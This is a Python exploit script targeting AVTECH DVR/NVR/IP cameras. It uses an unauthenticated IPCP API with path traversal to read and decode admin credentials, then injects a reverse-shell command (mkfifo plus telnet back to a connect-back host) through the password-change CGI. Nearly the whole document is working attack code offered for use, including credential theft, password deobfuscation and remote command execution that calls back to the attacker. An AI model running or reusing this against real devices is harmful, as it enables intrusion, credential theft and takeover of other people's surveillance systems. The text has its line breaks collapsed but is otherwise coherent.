#!/usr/bin/env python2.7# [SOF]## Subject: AVTECH {DVR/NVR/IPC} IPCP API admin l/p, RCE (2018 bashis)## Attack vector: Remote# Authentication: Anonymous (no credentials needed)# Researcher: bashis <mcw noemail eu> (March 2018)## Authenticated Reverse Shell; Using admin l/p that we can retrieve with unauthenticated and undocumented IPCP API## Vendor: http://www.avtech.com.tw/#import socketimport selectimport sysimport urllib, urllib2, httplibimport sslimport argparseimport base64import osimport sysimport xmltodict # pip install xmltodictimport jsonclass HTTPconnect: def __init__(self, host, proto, verbose, credentials, Raw, noexploit): self.host = host self.proto = proto self.verbose = verbose self.credentials = credentials self.Raw = Raw self.noexploit = noexploit def Send(self, uri, query_headers, query_data, ID): self.uri = uri self.query_headers = query_headers self.query_data = query_data self.ID = ID # Connect-timeout in seconds timeout = 10 socket.setdefaulttimeout(timeout) url = '{}://{}{}'.format(self.proto, self.host, self.uri) if self.verbose: print "[Verbose] Sending:", url if self.proto == 'https': if hasattr(ssl, '_create_unverified_context'): print "[i] Creating SSL Unverified Context" ssl._create_default_https_context = ssl._create_unverified_context if self.credentials: Basic_Auth = self.credentials.split(':') if self.verbose: print "[Verbose] User:",Basic_Auth[0],"Password:",Basic_Auth[1] try: pwd_mgr = urllib2.HTTPPasswordMgrWithDefaultRealm() pwd_mgr.add_password(None, url, Basic_Auth[0], Basic_Auth[1]) auth_handler = urllib2.HTTPBasicAuthHandler(pwd_mgr) opener = urllib2.build_opener(auth_handler) urllib2.install_opener(opener) except Exception as e: print "[!] Basic Auth Error:",e sys.exit(1) if self.noexploit and not self.verbose: print "[<] 204 Not Sending!" html = "Not sending any data" return html else: if self.query_data: req = urllib2.Request(url, self.query_data, headers=self.query_headers) else: req = urllib2.Request(url, None, headers=self.query_headers) try: rsp = urllib2.urlopen(req) except Exception as e: print "[<] {}".format(str(e)) return False if self.Raw: return rsp else: html = rsp.read() return html## Validate correctness of HOST, IP and PORT#class Validate: def __init__(self,verbose): self.verbose = verbose # Check if IP is valid def CheckIP(self,IP): self.IP = IP ip = self.IP.split('.') if len(ip) != 4: return False for tmp in ip: if not tmp.isdigit(): return False i = int(tmp) if i < 0 or i > 255: return False return True # Check if PORT is valid def Port(self,PORT): self.PORT = PORT if int(self.PORT) < 1 or int(self.PORT) > 65535: return False else: return True # Check if HOST is valid def Host(self,HOST): self.HOST = HOST try: # Check valid IP socket.inet_aton(self.HOST) # Will generate exeption if we try with FQDN or invalid IP # Now we check if it is correct typed IP if self.CheckIP(self.HOST): return self.HOST else: return False except socket.error as e: # Else check valid FQDN, and use the IP address try: self.HOST = socket.gethostbyname(self.HOST) return self.HOST except socket.error as e: return Falseclass AVTECH: def __init__(self, rhost, rport, proto, verbose, credentials, raw_request, noexploit, headers): self.rhost = rhost self.rport = rport self.proto = proto self.verbose = verbose self.credentials = credentials self.raw_request = raw_request self.noexploit = noexploit self.headers = headers self.BUFFER_SIZE = 1024 def Send(self, message): self.message = message timeout = 5 socket.setdefaulttimeout(timeout) try: self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) self.sock.connect((self.rhost, int(self.rport))) print "[i] Connected" except Exception as e: print "[!] Connection failed ({})".format(e) sys.exit(1) try: print "[>] Sending" self.sock.send(self.message) # No reply back from server except Exception as e: print "[!] Send failed ({})".format(e) self.sock.close() sys.exit(1) self.sock.close()if __name__ == "__main__": INFO = '\nAVTECH {DVR/NVR/IPC} IPCP API admin l/p, RCE (2018 bashis)\n' rhost = '192.168.57.20' # Default Remote HOST rport = '80' # Default Remote PORT lhost = '192.168.57.1' # Default Local HOST lport = '1337' # Default Local PORT HTTP = "http" HTTPS = "https" proto = HTTP verbose = False noexploit = False raw_request = True credentials = "admin:admin" # Default l/p# credentials = None headers = { 'Connection': 'close', 'Content-Type' : 'application/x-www-form-urlencoded', 'Accept' : 'gzip, deflate', 'Accept-Language' : 'en-US,en;q=0.8', 'Cache-Control' : 'max-age=0', 'User-Agent':'AVTECH/1.0' } try: arg_parser = argparse.ArgumentParser( prog=sys.argv[0], description=('[*] '+ INFO +' [*]')) arg_parser.add_argument('–rhost', required=True, help='Remote Target Address (IP/FQDN) [Default: '+ rhost +']') arg_parser.add_argument('–rport', required=False, help='Remote Target HTTP/HTTPS Port [Default: '+ str(rport) +']') arg_parser.add_argument('–lhost', required=False, help='Connect Back Address (IP/FQDN) [Default: '+ lhost +']') arg_parser.add_argument('–lport', required=False, help='Connect Back Port [Default: '+ lport + ']') arg_parser.add_argument('–getrce', required=False, default=False, action='store_true', help='Execute Reverse Shell [Default: Retrieve admin l/p]') if credentials: arg_parser.add_argument('–auth', required=False, help='Basic Authentication [Default: '+ credentials + ']') arg_parser.add_argument('-v','–verbose', required=False, default=False, action='store_true', help='Verbose mode [Default: False]') args = arg_parser.parse_args() except Exception as e: print INFO,"\nError: {}\n".format(str(e)) sys.exit(1) print INFO if args.verbose: verbose = True if credentials and args.auth: credentials = args.auth if args.rport: rport = args.rport if args.rhost: rhost = args.rhost if args.lport: lport = args.lport if args.lhost: lhost = args.lhost # Check if RPORT is valid if not Validate(verbose).Port(rport): print "[!] Invalid RPORT – Choose between 1 and 65535" sys.exit(1) # Check if LPORT is valid if not Validate(verbose).Port(lport): print "[!] Invalid LPORT – Choose between 1 and 65535" sys.exit(1) # Check if RHOST is valid IP or FQDN, get IP back rhost = Validate(verbose).Host(rhost) if not rhost: print "[!] Invalid RHOST" sys.exit(1) # Check if LHOST is valid IP or FQDN, get IP back lhost = Validate(verbose).Host(lhost) if not lhost: print "[!] Invalid LHOST" sys.exit(1)## Validation done, start print out stuff to the user# print "[i] Remote target IP:",rhost print "[i] Remote target PORT:",rport if args.getrce: print "[i] Connect back IP:",lhost print "[i] Connect back PORT:",lport remote_host = rhost+':'+rport # # Get some interesting info about remote target # try: print "[>] -=[ Checking Remote Device Info ]=-" URI = "/nobody/Mediadesc_0.xml" response = HTTPconnect(remote_host,proto,verbose,credentials,True,noexploit).Send(URI,headers,None,None) if response and not response.info().get('Server') == 'Linux/2.x UPnP/1.0 Avtech/1.0': print "[!] Remote server '{}' type is wrong".format(response.info().get('Server')) print "[i] Exiting" sys.exit(1) if not response: URI = "/nobody/Mediadesc.xml" response = HTTPconnect(remote_host,proto,verbose,credentials,True,noexploit).Send(URI,headers,None,None) URI = "/nobody/GetVendors" response2 = HTTPconnect(remote_host,proto,verbose,credentials,True,noexploit).Send(URI,headers,None,None) print "[<] Booted: {}".format(response2.info().get('Last-Modified')) else: print "[<] Booted: {}".format(response.info().get('Last-Modified')) if not response: print "[!] Can't find remote server info…" print "[i] Exiting" sys.exit(1) except Exception as e: pass XML_2_JSON = xmltodict.parse(response.read()) print "[<] Model: {} {}".format(XML_2_JSON['root']['device']['manufacturer'],XML_2_JSON['root']['device']['modelDescription']) URI = "/" response = HTTPconnect(remote_host,proto,verbose,credentials,True,noexploit).Send(URI,headers,None,None) if not response: print "[<] Failed ({})".format(response) sys.exit(1) if not response.info().get('Server') == 'Linux/2.x UPnP/1.0 Avtech/1.0': print "[!] Remote server '{}' type is wrong".format(response.info().get('Server')) print "[i] Exiting" sys.exit(1) print "[<] Firmware date: {}".format(response.info().get('Last-Modified')) response = response.read() # # If we don't know remote device credentials, we can try to find out. # if not args.auth or not args.getrce: # # We don't want to screw up things, so let's prepare to restore. # print "[>] -=[ Checking if remote using Captcha ]=-" RESTORE_URI = '' for captcha in range(0,len(response.split())): if response.split()[captcha] == 'setTimeout("getCaptchaImg()",': print "[<] Captcha: [True]" RESTORE_URI = "nobody/login.htm" break elif response.split()[captcha] == '//setTimeout("getCaptchaImg()",': print "[<] Captcha: [False]" RESTORE_URI = "nobody/loginQuick.htm" break if not RESTORE_URI: if args.getrce: # Not safe enough to continue… print "[!] Can't find Captcha! Not safe enough to continue…" sys.exit(0) RESTORE_URI = "nobody/login.htm" print "[!] Can't find Captcha! Assuming '{}' is default…".format(RESTORE_URI) # # This seems to be some undocumented and unauthenticated write only API, that's hooking on 'IPCP/' # where changes are made in memory only and will therefore not be persistent. # There is lots of them available (> 70 depending of device) that can be called by changing 'Message-ID' number accordingly # # This one (#29) will change default web page to display, which can be redirected to any existing file. # We will use '/mnt/database/xml/Account' as we can find remote device credentials in clear text or XOR'ed base64 encoded # print "[>] -=[ Trying to redirect default page to: /mnt/database/xml/Account ]=-" ACCOUNT_URI = "../../../../../mnt/database/xml/Account" request = "GET / IPCP/1.0\r\nMessage-ID: 29\r\nConnection: close\r\nContent-Length: " + str(len(ACCOUNT_URI)) + "\r\n\r\n" + ACCOUNT_URI AVTECH(rhost,rport,proto,verbose,credentials,raw_request,noexploit,headers).Send(request) print "[>] -=[ Trying to retrieve /mnt/database/xml/Account ]=-" response = HTTPconnect(remote_host,proto,verbose,credentials,False,noexploit).Send(URI,headers,None,None) if not response: print "[<] Failed ({})".format(response) sys.exit(1) print "[<] Received {} bytes".format(len(response)) try: # # Let's find first available admin user and password # XML_2_JSON = xmltodict.parse(response) for user in XML_2_JSON['Account']: if user[:4] == 'User': if XML_2_JSON['Account'][user]['Level']['#text'] == 'SUPERVISOR': Username = XML_2_JSON['Account'][user]['Username']['#text'] Password = XML_2_JSON['Account'][user]['Password']['#text'] Level = XML_2_JSON['Account'][user]['Level']['#text'] print "[<] Success" break elif user == 'Cloud': print "[<] Cloud Account: {}, Password: {}".format(XML_2_JSON['Account'][user]['Username'],XML_2_JSON['Account'][user]['Password']) Username = XML_2_JSON['Account'][user]['SUPERVISOR']['Username'] Password = XML_2_JSON['Account'][user]['SUPERVISOR']['Password'] Level = 'SUPERVISOR' if args.getrce: print "[!] RCE not supported…" args.getrce = False # Not found out how-to except Exception as e: print "[<] -=[ This host are not IPCP vulnerable! ]=-" print "[!] Exiting!" sys.exit(1) # # Some newer FW versions password fields has XOR'ed base64 encoded passwords # if len(Password.split(":")) == 3 and Password.split(":")[0] == "enc": print "[!] Deobfuscating base64 password: {} ({})".format(Password.split(":")[2],base64.b64decode(Password.split(":")[2])) Password = base64.b64decode(Password.split(":")[2]) XOR = [0x09,0x07,0x09,0x02,0x07,0x07,0x0a] # rolling XOR keys for each byte in the password Password = bytearray(Password) key = 0 for i in range(len(Password)): if key == len(XOR): key = 0 Password[i] ^= XOR[key] key += 1 print "[i] Level: {}, Username: {}, Password: {}".format(Level,Username,str(Password)) credentials = Username + ':' + str(Password)# print json.dumps(XML_2_JSON,indent=4) print "[>] Restore default page to: {}".format(RESTORE_URI) request = "GET / IPCP/1.0\r\nMessage-ID: 29\r\nConnection: close\r\nContent-Length: " + str(len(RESTORE_URI)) + "\r\n\r\n" + RESTORE_URI AVTECH(rhost,rport,proto,verbose,credentials,raw_request,noexploit,headers).Send(request) if not args.getrce: if verbose: print json.dumps(XML_2_JSON,indent=4) print "[i] All done" sys.exit(0) # # No netcat available, telnet client working just fine too # # This is persistent and will be remote device new PWD, let's make sure to restore! # RCE = '"$(mkfifo /tmp/s;telnet LHOST LPORT </tmp/s|/bin/sh>/tmp/s 2>&1 ;rm -f /tmp/s)&#"' # Let's fork() RCE = RCE.replace('LHOST',lhost).replace('LPORT',lport) URI = '/cgi-bin/nobody/Machine.cgi?action=change_password&account='+ base64.b64encode(credentials) +'&new_password='+ base64.b64encode(RCE) print "[>] -=[ Trying to add and execute RCE ]=-" response = HTTPconnect(remote_host,proto,verbose,credentials,False,noexploit).Send(URI,headers,None,None) if not response == False: if not response.split()[1] == 'OK': print "[<] Failed {}".format(response) sys.exit(1) else: if len(response.split()) > 2: print "[!] Something is not correct!! Exiting…" if verbose: print response sys.exit(1) print "[<] {}".format(response.split()[1]) else: print "[<] Should be OK" # # Use 'RCE' as PWD to restore old PWD # creds = credentials.split(':') tmp = creds[0] + ':' + RCE URI = '/cgi-bin/nobody/Machine.cgi?action=change_password&account='+ base64.b64encode(tmp) +'&new_password='+ base64.b64encode(creds[1]) print "[>] -=[ Trying to delete RCE and restore old PWD ]=-" response = HTTPconnect(remote_host,proto,verbose,credentials,False,noexploit).Send(URI,headers,None,None) if not response: sys.exit(1) if not response.split()[1] == 'OK': print "[<] Failed {}".format(response) sys.exit(1) else: if len(response.split()) > 2: print "[!] Something is not correct!! Exiting…" if verbose: print response sys.exit(1) print "[<] {}".format(response.split()[1]) print "[i] All done"# [EOF]
